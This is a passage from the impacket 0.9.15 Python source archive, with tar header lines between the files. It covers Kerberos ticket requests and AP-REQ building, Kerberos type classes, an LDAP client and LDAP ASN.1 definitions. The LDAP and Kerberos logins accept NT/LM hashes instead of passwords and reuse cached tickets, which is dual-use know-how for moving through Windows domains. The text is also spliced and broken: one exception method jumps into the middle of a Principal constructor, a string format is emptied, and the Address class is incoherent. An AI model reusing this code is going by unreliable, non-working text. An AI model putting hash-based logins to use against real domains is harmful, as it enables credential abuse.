r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue']))
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
# Check we've got what we asked for
res = decoder.decode(r, asn1Spec = TGS_REP())[0]
spn = Principal()
spn.from_asn1(res['ticket'], 'realm', 'sname')
if spn.components[0] == serverName.components[0]:
# Yes.. bye bye
return r, cipher, sessionKey, newSessionKey
else:
# Let's extract the Ticket, change the domain and keep asking
domain = spn.components[1]
return getKerberosTGS(serverName, domain, kdcHost, r, cipher, newSessionKey)
return r, cipher, sessionKey, newSessionKey
################################################################################
# DCE RPC Helpers
################################################################################
def getKerberosType3(cipher, sessionKey, auth_data):
negTokenResp = SPNEGO_NegTokenResp(auth_data)
# If DCE_STYLE = FALSE
#ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0]
try:
krbError = KerberosError(packet = decoder.decode(negTokenResp['ResponseToken'][15:], asn1Spec = KRB_ERROR())[0])
except Exception, e:
pass
else:
raise krbError
ap_rep = decoder.decode(negTokenResp['ResponseToken'], asn1Spec=AP_REP())[0]
cipherText = str(ap_rep['enc-part']['cipher'])
# Key Usage 12
# AP-REP encrypted part (includes application session
# subkey), encrypted with the application session key
# (Section 5.5.2)
plainText = cipher.decrypt(sessionKey, 12, cipherText)
encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0]
cipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]()
sessionKey2 = Key(cipher.enctype, str(encAPRepPart['subkey']['keyvalue']))
sequenceNumber = str(encAPRepPart['seq-number'])
encAPRepPart['subkey'].clear()
encAPRepPart = encAPRepPart.clone()
now = datetime.datetime.utcnow()
encAPRepPart['cusec'] = now.microsecond
encAPRepPart['ctime'] = KerberosTime.to_asn1(now)
encAPRepPart['seq-number'] = sequenceNumber
encodedAuthenticator = encoder.encode(encAPRepPart)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None)
ap_rep['enc-part'].clear()
ap_rep['enc-part']['etype'] = cipher.enctype
ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator
resp = SPNEGO_NegTokenResp()
resp['ResponseToken'] = encoder.encode(ap_rep)
return cipher, sessionKey2, resp.getData()
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True):
if TGT is None and TGS is None:
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception, e:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if username == '' and len(ccache.principal.components) > 0:
username = ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
# First of all, we need to get a TGT for the user
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
while True:
if TGT is None:
if TGS is None:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
continue
else:
raise
else:
raise
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
# Now that we have the TGT, we should ask for a TGS for cifs
if TGS is None:
serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES
# So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None:
from impacket.ntlm import compute_lmhash, compute_nthash
LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
else:
raise
else:
raise
else:
break
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
break
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.APOptions.mutual_required.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum'] = None
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
#chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE
authenticator['cksum']['checksum'] = chkField.getData()
authenticator['seq-number'] = 0
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
return cipher, sessionKey, blob.getData()
class KerberosError(SessionError):
"""
This is the exception every client should catch regardless of the underlying
SMB version used. We'll take care of that. NETBIOS exceptions are NOT included,
since all SMB versions share the same NETBIOS instances.
"""
def __init__( self, error = 0, packet=0):
SessionError.__init__(self)
self.error = error
self.packet = packet
if packet != 0:
self.error = self.packet['error-code']
def getErrorCode( self ):
return self.error
def getErrorPacket( self ):
return self.packet
def getErrorString( self ):
return constants.ERROR_MESSAGES[self.error]
def __str__( self ):
retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error])
try:
# Let's try to get the NT ERROR, if not, we quit and give the general one
if self.error == constants.ErrorCodes.KRB_ERR_GENERIC.value:
eData = decoder.decode(str(self.packet['e-data']), asn1Spec = KERB_ERROR_DATA())[0]
nt_error = struct.unpack('= 2:
self.components = value[0:-1]
self.realm = value[-1]
else:
raise KerberosException("invalid principal value")
if type is not None:
self.type = type
def __eq__(self, other):
if isinstance(other, basestring):
other = Principal(other)
return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value or \
other.type == constants.PrincipalNameType.NT_UNKNOWN.value or \
self.type == other.type) and \
all(map(lambda a,b: a == b,
self.components, other.components)) and \
self.realm == other.realm
def __str__(self):
def quote_component(comp):
return re.sub(r'([\\/@])', r'\\\1', comp)
ret = "/".join([quote_component(c) for c in self.components])
if self.realm is not None:
ret += "@" + self.realm
return ret
def __repr__(self):
return "Principal((" + repr(self.components) + ", " + \
repr(self.realm) + "), t=" + str(self.type) + ")"
def from_asn1(self, data, realm_component, name_component):
name = data.getComponentByName(name_component)
self.type = constants.PrincipalNameType(
name.getComponentByName('name-type')).value
self.components = [
str(c) for c in name.getComponentByName('name-string')]
self.realm = str(data.getComponentByName(realm_component))
return self
def components_to_asn1(self, name):
name.setComponentByName('name-type', int(self.type))
strings = name.setComponentByName('name-string'
).getComponentByName('name-string')
for i, c in enumerate(self.components):
strings.setComponentByPosition(i, c)
return name
class Address(object):
DIRECTIONAL_AP_REQ_SENDER = struct.pack('!I', 0)
DIRECTIONAL_AP_REQ_RECIPIENT = struct.pack('!I', 1)
def __init__(self):
self.type = None
self.data = None
def __str__(self):
family = self.family
if family is not None:
return str((family, self.address))
else:
return str((self.type, self.value))
@property
def family(self):
if self.type == constants.AddressType.IPv4.value:
return socket.AF_INET
elif self.type == constants.AddressType.IPv4.value:
return socket.AF_INET6
self.address = socket.inet_pton(self.family, data)
else:
return None
@property
def address(self):
if self.type == constants.AddressType.IPv4.value:
return socket.inet_pton(self.family, data)
elif self.type == constants.AddressType.IPv4.value:
return socket.inet_pton(self.family, data)
else:
return None
def encode(self):
# ipv4-mapped ipv6 addresses must be encoded as ipv4.
pass
class EncryptedData(object):
def __init__(self):
self.etype = None
self.kvno = None
self.ciphertext = None
def from_asn1(self, data):
data = _asn1_decode(data, asn1.EncryptedData())
self.etype = constants.EncryptionTypes(data.getComponentByName('etype')).value
kvno = data.getComponentByName('kvno')
self.kvno = kvno and int(kvno)
self.ciphertext = str(data.getComponentByName('cipher'))
return self
def to_asn1(self, component):
component.setComponentByName('etype', int(self.etype))
if self.kvno:
component.setComponentByName('kvno', self.kvno)
component.setComponentByName('cipher', self.ciphertext)
return component
class Ticket(object):
def __init__(self):
# This is the kerberos version, not the service principal key
# version number.
self.tkt_vno = None
self.service_principal = None
self.encrypted_part = None
def from_asn1(self, data):
data = _asn1_decode(data, asn1.Ticket())
self.tkt_vno = int(data.getComponentByName('tkt-vno'))
self.service_principal = Principal()
self.service_principal.from_asn1(data, 'realm', 'sname')
self.encrypted_part = EncryptedData()
self.encrypted_part.from_asn1(data.getComponentByName('enc-part'))
return self
def to_asn1(self, component):
component.setComponentByName('tkt-vno', 5)
component.setComponentByName('realm', self.service_principal.realm)
asn1.seq_set(component, 'sname',
self.service_principal.components_to_asn1)
asn1.seq_set(component, 'enc-part', self.encrypted_part.to_asn1)
return component
def __str__(self):
return "" % (str(self.service_principal), str(self.encrypted_part.kvno))
class KerberosTime(object):
INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0)
@staticmethod
def to_asn1(dt):
# A KerberosTime is really just a string, so we can return a
# string here, and the asn1 library will convert it correctly.
return "%04d%02d%02d%02d%02d%02dZ" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second)
@staticmethod
def from_asn1(data):
data = str(data)
year = int(data[0:4])
month = int(data[4:6])
day = int(data[6:8])
hour = int(data[8:10])
minute = int(data[10:12])
second = int(data[12:14])
if data[14] != 'Z':
raise KerberosException("timezone in KerberosTime is not Z")
return datetime.datetime(year, month, day, hour, minute, second)
if __name__ == '__main__':
# TODO marc: turn this into a real test
print Principal("marc")
print Principal(("marc", None))
print Principal((("marc",), None))
print Principal("marc@ATHENA.MIT.EDU")
print Principal("marc", default_realm="ATHENA.MIT.EDU")
print Principal("marc@ATHENA.MIT.EDU", default_realm="EXAMPLE.COM")
print Principal(("marc", "ATHENA.MIT.EDU"))
print Principal((("marc"), "ATHENA.MIT.EDU"))
print Principal("marc/root")
print Principal(("marc", "root", "ATHENA.MIT.EDU"))
print Principal((("marc", "root"), "ATHENA.MIT.EDU"))
print Principal("marc\\/root")
impacket-0.9.15/impacket/ldap/ 0000700 0000765 0000000 00000000000 12734532622 016163 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/ldap/__init__.py 0000600 0000765 0000000 00000000005 12734531507 020272 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/ldap/ldap.py 0000600 0000765 0000000 00000041127 12734531507 017465 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# RFC 4511 Minimalistic implementation. We don't need much functionality yet
# If we need more complex use cases we might opt to use a third party implementation
# Keep in mind the APIs are still unstable, might require to re-write your scripts
# as we change them.
# Adding [MS-ADTS] specific functionality
#
# ToDo:
# [ ] Implement Paging Search, especially important for big requests
#
import socket
import os
from binascii import unhexlify
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import SubstrateUnderrunError
from impacket import LOG
from impacket.ldap.ldapasn1 import BindRequest, Integer7Bit, LDAPDN, AuthenticationChoice, AuthSimple, LDAPMessage, \
SCOPE_SUB, SearchRequest, Scope, DEREF_NEVER, DeRefAliases, IntegerPositive, Boolean, AttributeSelection, \
SaslCredentials, LDAPString, ProtocolOp, Credentials
from impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
try:
import OpenSSL
from OpenSSL import SSL, crypto
except:
LOG.critical("pyOpenSSL is not installed, can't continue")
raise
class LDAPConnection:
def __init__(self,url, baseDN='dc=net', dstIp = None):
"""
LDAPConnection class
:param string url:
:param string baseDN:
:param string dstIp:
:return: a LDAP instance, if not raises a LDAPSessionError exception
"""
self._SSL = False
self._dstPort = 0
self._dstHost = 0
self._socket = None
self._baseDN = baseDN
self._messageId = 1
self._dstIp = dstIp
if url.startswith("ldap://"):
self._dstPort = 389
self._SSL = False
self._dstHost = url[7:]
elif url.startswith("ldaps://"):
#raise LDAPSessionError(errorString = 'LDAPS still not supported')
self._dstPort = 636
self._SSL = True
self._dstHost = url[8:]
else:
raise LDAPSessionError(errorString = 'Unknown URL prefix %s' % url)
# Try to connect
if self._dstIp is not None:
targetHost = self._dstIp
else:
targetHost = self._dstHost
LOG.debug('Connecting to %s, port %s, SSL %s' % (targetHost, self._dstPort, self._SSL))
try:
af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0]
self._socket = socket.socket(af, socktype, proto)
except socket.error, e:
raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
if self._SSL is False:
self._socket.connect(sa)
else:
# Switching to TLS now
ctx = SSL.Context(SSL.TLSv1_METHOD)
#ctx.set_cipher_list('RC4')
self._socket = SSL.Connection(ctx, self._socket)
self._socket.connect(sa)
self._socket.do_handshake()
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
TGS=None, useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises a LDAPSessionError if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
from pyasn1.codec.der import decoder, encoder
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
LOG.debug('Using TGS from cache')
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal('ldap/%s' % self._dstHost,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# Done with the Kerberos saga, now let's get into LDAP
bindRequest = BindRequest()
bindRequest['version'] = Integer7Bit(3)
bindRequest['name'] = LDAPDN(user)
credentials = SaslCredentials()
credentials['mechanism'] = LDAPString('GSS-SPNEGO')
credentials['credentials'] = Credentials(blob.getData())
bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sasl', credentials)
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
if resp['bindResponse']['resultCode'] != 0:
raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % (
resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage']))
return True
def login(self, user='', password='', domain = '', lmhash = '', nthash = '', authenticationChoice = 'sicilyNegotiate'):
"""
logins into the target system
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string authenticationChoice: type of authentication protocol to use (default NTLM)
:return: True, raises a LDAPSessionError if error.
"""
bindRequest = BindRequest()
bindRequest['version'] = Integer7Bit(3)
bindRequest['name'] = LDAPDN(user)
if authenticationChoice == 'simple':
bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice, AuthSimple(password))
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
elif authenticationChoice == 'sicilyPackageDiscovery':
bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice, '')
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
elif authenticationChoice == 'sicilyNegotiate':
# Deal with NTLM Authentication
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except:
pass
# NTLM Negotiate
negotiate = getNTLMSSPType1('',domain)
bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyNegotiate', negotiate)
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
# NTLM Challenge
type2 = resp['bindResponse']['matchedDN']
# NTLM Auth
type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash)
bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyResponse', type3)
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
else:
raise LDAPSessionError(errorString='Unknown authenticationChoice %s' % authenticationChoice)
if resp['bindResponse']['resultCode'] != 0:
raise LDAPSessionError(errorString = 'Error in bindRequest -> %s:%s' % (resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'] ))
return True
def search(self, searchBase=None, searchFilter=None, scope=SCOPE_SUB, attributes=None, derefAliases=DEREF_NEVER,
sizeLimit=0):
# ToDo: For now we need to specify a filter as a Filter instance, meaning, we have to programmatically build it
# ToDo: We have to create functions to parse and compile a text searchFilter into a Filter instance.
if searchBase is None:
searchBase = self._baseDN
searchRequest = SearchRequest()
searchRequest['baseObject'] = LDAPDN(searchBase)
searchRequest['scope'] = Scope(scope)
searchRequest['derefAliases'] = DeRefAliases(derefAliases)
searchRequest['sizeLimit'] = IntegerPositive(sizeLimit)
searchRequest['timeLimit'] = IntegerPositive(0)
searchRequest['typesOnly'] = Boolean(False)
searchRequest['filter'] = searchFilter
searchRequest['attributes'] = AttributeSelection()
if attributes is not None:
for i,item in enumerate(attributes):
searchRequest['attributes'][i] = item
done = False
answers = []
# We keep asking records until we get a searchResDone packet
while not done:
resp = self.sendReceive('searchRequest', searchRequest)
for item in resp:
protocolOp = item['protocolOp']
if protocolOp.getName() == 'searchResDone':
done = True
if protocolOp['searchResDone']['resultCode'] != 0:
raise LDAPSearchError(error = int(protocolOp['searchResDone']['resultCode']), errorString = 'Error in searchRequest -> %s:%s' % (protocolOp['searchResDone']['resultCode'].prettyPrint(), protocolOp['searchResDone']['diagnosticMessage'] ), answers=answers)
else:
answers.append(item['protocolOp'][protocolOp.getName()])
return answers
def close(self):
if self._socket is not None:
self._socket.close()
def send(self, protocolOp, message):
ldapMessage = LDAPMessage( )
ldapMessage['messageID'] = IntegerPositive(self._messageId)
ldapMessage['protocolOp'] = ProtocolOp().setComponentByName(protocolOp, message)
data = encoder.encode(ldapMessage)
return self._socket.sendall(data)
def recv(self):
REQUEST_SIZE = 8192
data = ''
done = False
while not done:
recvData = self._socket.recv(REQUEST_SIZE)
if len(recvData) < REQUEST_SIZE:
done = True
data += recvData
answers = []
while len(data) > 0:
try:
ldapMessage, remaining = decoder.decode(data, asn1Spec = LDAPMessage())
except SubstrateUnderrunError:
# We need more data
remaining = data + self._socket.recv(REQUEST_SIZE)
else:
answers.append(ldapMessage)
data = remaining
self._messageId += 1
return answers
def sendReceive(self, protocolOp, message):
self.send(protocolOp, message)
return self.recv()
class LDAPSessionError(Exception):
"""
This is the exception every client should catch
"""
def __init__( self, error = 0, packet=0, errorString=''):
Exception.__init__(self)
self.error = error
self.packet = packet
self.errorString = errorString
def getErrorCode( self ):
return self.error
def getErrorPacket( self ):
return self.packet
def getErrorString( self ):
return self.errorString
def __str__( self ):
return self.errorString
class LDAPSearchError(LDAPSessionError):
def __init__( self, error = 0, packet=0, errorString='', answers = []):
LDAPSessionError.__init__(self, error, packet, errorString)
self.answers = answers
def getAnswers( self ):
return self.answers
impacket-0.9.15/impacket/ldap/ldapasn1.py 0000600 0000765 0000000 00000065124 12734531507 020253 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# RFC 4511 Minimalistic implementation. We don't need much functionality yet
# If we need more complex use cases we might opt to use a third party implementation
# Keep in mind the APIs are still unstable, might require to re-write your scripts
# as we change them.
# Adding [MS-ADTS] specific functionality
#
# ToDo:
# [ ]
#
from pyasn1.type.univ import Sequence, Integer, Choice, SequenceOf, OctetString, Boolean, Enumerated, SetOf
from pyasn1.type.constraint import ValueRangeConstraint, ValueSizeConstraint
from pyasn1.type.namedtype import NamedType, OptionalNamedType, NamedTypes
from pyasn1.type.tag import Tag, tagClassContext, tagFormatConstructed, tagClassApplication, tagFormatSimple
from pyasn1.type.namedval import NamedValues
################################################################################
# CONSTANTS
################################################################################
MAXINT = 2147483647
# Search Scope constants
SCOPE_BASE = 0
SCOPE_ONE = 1
SCOPE_SUB = 2
# Search deref
DEREF_NEVER = 0
DEREF_SEARC = 1
DEREF_FIND = 2
DEREF_ALWAYS = 3
################################################################################
# CLASSES
################################################################################
class Integer7Bit(Integer):
# INTEGER (1 .. 127)
subtypeSpec = ValueRangeConstraint(1, 127)
class IntegerPositive(Integer):
subtypeSpec = Integer.subtypeSpec + ValueRangeConstraint(0, MAXINT)
class LDAPString(OctetString):
"""
LDAPString ::= OCTET STRING -- UTF-8 encoded,
-- [ISO10646] characters
"""
encoding = 'utf-8'
pass
class LDAPDN(LDAPString):
"""
LDAPDN ::= LDAPString -- Constrained to
-- [RFC4514]
"""
pass
class AuthSimple(OctetString):
tagSet = OctetString.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 0))
encoding = 'utf-8'
class Credentials(OctetString):
encoding = 'utf-8'
class SaslCredentials(Sequence):
"""
SaslCredentials ::= SEQUENCE {
mechanism LDAPString,
credentials OCTET STRING OPTIONAL }
"""
tagSet = Sequence.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 3))
componentType = NamedTypes(
NamedType('mechanism', LDAPString()),
OptionalNamedType('credentials', Credentials())
)
class SicilyPackageDiscovery(OctetString):
tagSet = OctetString.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 9))
encoding = 'utf-8'
class SicilyNegotiate(OctetString):
tagSet = OctetString.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 10))
encoding = 'utf-8'
class SicilyResponse(OctetString):
tagSet = OctetString.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 11))
encoding = 'utf-8'
class AuthenticationChoice(Choice):
"""
AuthenticationChoice ::= CHOICE {
simple [0] OCTET STRING,
sasl [3] SaslCredentials
sicilyPackageDiscovery [9] OCTET STRING
sicilyNegotiate [10] OCTET STRING
sicilyResponse [11] OCTET STRING }
"""
componentType = NamedTypes(
NamedType('simple', AuthSimple()),
NamedType('sasl', SaslCredentials()),
NamedType('sicilyPackageDiscovery', SicilyPackageDiscovery()),
NamedType('sicilyNegotiate', SicilyNegotiate()),
NamedType('sicilyResponse', SicilyResponse()),
)
class BindRequest(Sequence):
"""
BindRequest ::= [APPLICATION 0] SEQUENCE {
version INTEGER (1 .. 127),
name LDAPDN,
authentication AuthenticationChoice }
"""
tagSet = Sequence.tagSet.tagImplicitly(Tag(tagClassApplication, tagFormatConstructed, 0))
componentType = NamedTypes(
NamedType('version', Integer7Bit()),
NamedType('name', LDAPDN()),
NamedType('authentication', AuthenticationChoice()),
)
class URI(LDAPString):
pass
class Referral(SequenceOf):
"""
Referral ::= SEQUENCE SIZE (1..MAX) OF uri URI
"""
tagSet = SequenceOf.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 3))
componentType = URI()
class ResultCode(Enumerated):
"""
resultCode ENUMERATED {
success (0),
operationsError (1),
protocolError (2),
timeLimitExceeded (3),
sizeLimitExceeded (4),
compareFalse (5),
compareTrue (6),
authMethodNotSupported (7),
strongerAuthRequired (8),
-- 9 reserved --
referral (10),
adminLimitExceeded (11),
unavailableCriticalExtension (12),
confidentialityRequired (13),
saslBindInProgress (14),
noSuchAttribute (16),
undefinedAttributeType (17),
inappropriateMatching (18),
constraintViolation (19),
attributeOrValueExists (20),
invalidAttributeSyntax (21),
-- 22-31 unused --
noSuchObject (32),
aliasProblem (33),
invalidDNSyntax (34),
-- 35 reserved for undefined isLeaf --
aliasDereferencingProblem (36),
-- 37-47 unused --
inappropriateAuthentication (48),
invalidCredentials (49),
